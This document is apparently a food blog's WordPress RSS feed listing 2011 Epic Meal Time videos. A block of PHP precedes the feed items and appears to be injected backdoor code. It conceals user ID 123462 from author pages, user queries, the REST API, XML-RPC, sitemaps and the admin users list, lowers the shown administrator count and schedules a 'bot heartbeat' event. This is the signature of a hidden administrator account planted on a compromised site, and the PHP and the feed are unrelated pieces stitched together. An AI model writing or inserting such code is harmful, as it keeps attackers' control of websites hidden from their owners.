add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 123462;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 123462;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 123462;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<pubDate>Thu, 23 Jun 2011 13:03:23 +0000</pubDate>
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		<category><![CDATA[Bacon Cheeseburgers]]></category>
		<category><![CDATA[Beef]]></category>
		<category><![CDATA[Burgers]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Cheeseburgers]]></category>
		<category><![CDATA[Epic Meal Time]]></category>
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		<title>Masta Pasta From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/masta-pasta-from-epic-meal-time/</link>
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		<pubDate>Tue, 14 Jun 2011 13:01:45 +0000</pubDate>
				<category><![CDATA[Epic Meal Time]]></category>
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		<title>Meatball Deathstar From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/meatball-deathstar-from-epic-meal-time/</link>
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		<pubDate>Thu, 09 Jun 2011 20:41:18 +0000</pubDate>
				<category><![CDATA[Bacon]]></category>
		<category><![CDATA[Epic Meal Time]]></category>
		<category><![CDATA[Meatballs]]></category>
		<category><![CDATA[Video]]></category>
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		<title>Slaughterhouse Christmas Special From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/slaughterhouse-christmas-special-from-epic-meal-time/</link>
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		<pubDate>Mon, 06 Jun 2011 15:37:12 +0000</pubDate>
				<category><![CDATA[Bacon]]></category>
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		<title>The Black Legend From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/the-black-legend-from-epic-meal-time/</link>
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		<pubDate>Wed, 01 Jun 2011 21:04:59 +0000</pubDate>
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		<title>Chili Four Loko From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/chili-four-loko-from-epic-meal-time/</link>
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		<pubDate>Fri, 27 May 2011 16:00:24 +0000</pubDate>
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		<category><![CDATA[Chili]]></category>
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		<title>Meat Salad From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/meat-salad-from-epic-meal-time/</link>
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		<pubDate>Mon, 23 May 2011 13:02:31 +0000</pubDate>
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		<title>Massive Meat Log From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/massive-meat-log-from-epic-meal-time/</link>
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		<pubDate>Fri, 06 May 2011 12:30:59 +0000</pubDate>
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		<title>TurBaconEpic Thanksgiving From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/turbaconepic-thanksgiving-from-epic-meal-time/</link>
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		<pubDate>Mon, 02 May 2011 15:45:35 +0000</pubDate>
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		<category><![CDATA[Chicken]]></category>
		<category><![CDATA[Epic Meal Time]]></category>
		<category><![CDATA[Turkey]]></category>
		<category><![CDATA[Video]]></category>
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		<title>The Death Of The Double Down From Epic Meal Time</title>
		<link>http://damnthatlooksgood.com/the-death-of-the-double-down-from-epic-meal-time/</link>
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		<pubDate>Fri, 29 Apr 2011 12:41:41 +0000</pubDate>
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		<category><![CDATA[Bacon Cheeseburgers]]></category>
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		<category><![CDATA[Burgers]]></category>
		<category><![CDATA[Cheddar]]></category>
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		<category><![CDATA[Cheeseburgers]]></category>
		<category><![CDATA[Chicken]]></category>
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										<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="600" height="325" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/gpKtarjTvqU?fs=1&amp;hl=en_US&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="600" height="325" src="http://www.youtube.com/v/gpKtarjTvqU?fs=1&amp;hl=en_US&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p><p>The post <a href="http://damnthatlooksgood.com/the-death-of-the-double-down-from-epic-meal-time/" target="_blank">The Death Of The Double Down From Epic Meal Time</a> first appeared on <a href="http://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Breakfast Of Booze From Epic Meal Time</title>
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		<pubDate>Tue, 26 Apr 2011 19:00:11 +0000</pubDate>
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		<title>The Greasiest Sandwich Ever From Epic Meal Time</title>
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		<pubDate>Mon, 25 Apr 2011 13:00:24 +0000</pubDate>
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					<description><![CDATA[<p>20&#8243; French toasted Parisian baguette, poutine, quebecois steamy, bacon sandwich covered in 100% pure maple syrup.</p>
<p>The post <a href="http://damnthatlooksgood.com/the-greasiest-sandwich-ever-from-epic-meal-time/" target="_blank">The Greasiest Sandwich Ever From Epic Meal Time</a> first appeared on <a href="http://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>20&#8243; French toasted Parisian baguette, poutine, quebecois steamy, bacon sandwich covered in 100% pure maple syrup.</p><p>The post <a href="http://damnthatlooksgood.com/the-greasiest-sandwich-ever-from-epic-meal-time/" target="_blank">The Greasiest Sandwich Ever From Epic Meal Time</a> first appeared on <a href="http://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Epic Eggroll From Epic Meal Time</title>
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		<pubDate>Mon, 11 Apr 2011 20:50:14 +0000</pubDate>
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		<title>The Sloppy Roethlisberger From Epic Meal Time</title>
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		<pubDate>Tue, 05 Apr 2011 17:34:43 +0000</pubDate>
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		<title>The Worst Pizza Ever From Epic Meal Time</title>
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		<pubDate>Wed, 30 Mar 2011 16:34:05 +0000</pubDate>
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					<description><![CDATA[<p>We love Epic Meal Time and we are hoping that we can get you to love it [&#8230;]</p>
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<p>We love Epic Meal Time and we are hoping that we can get you to love it to.</p><p>The post <a href="http://damnthatlooksgood.com/the-worst-pizza-ever-from-epic-meal-time/" target="_blank">The Worst Pizza Ever From Epic Meal Time</a> first appeared on <a href="http://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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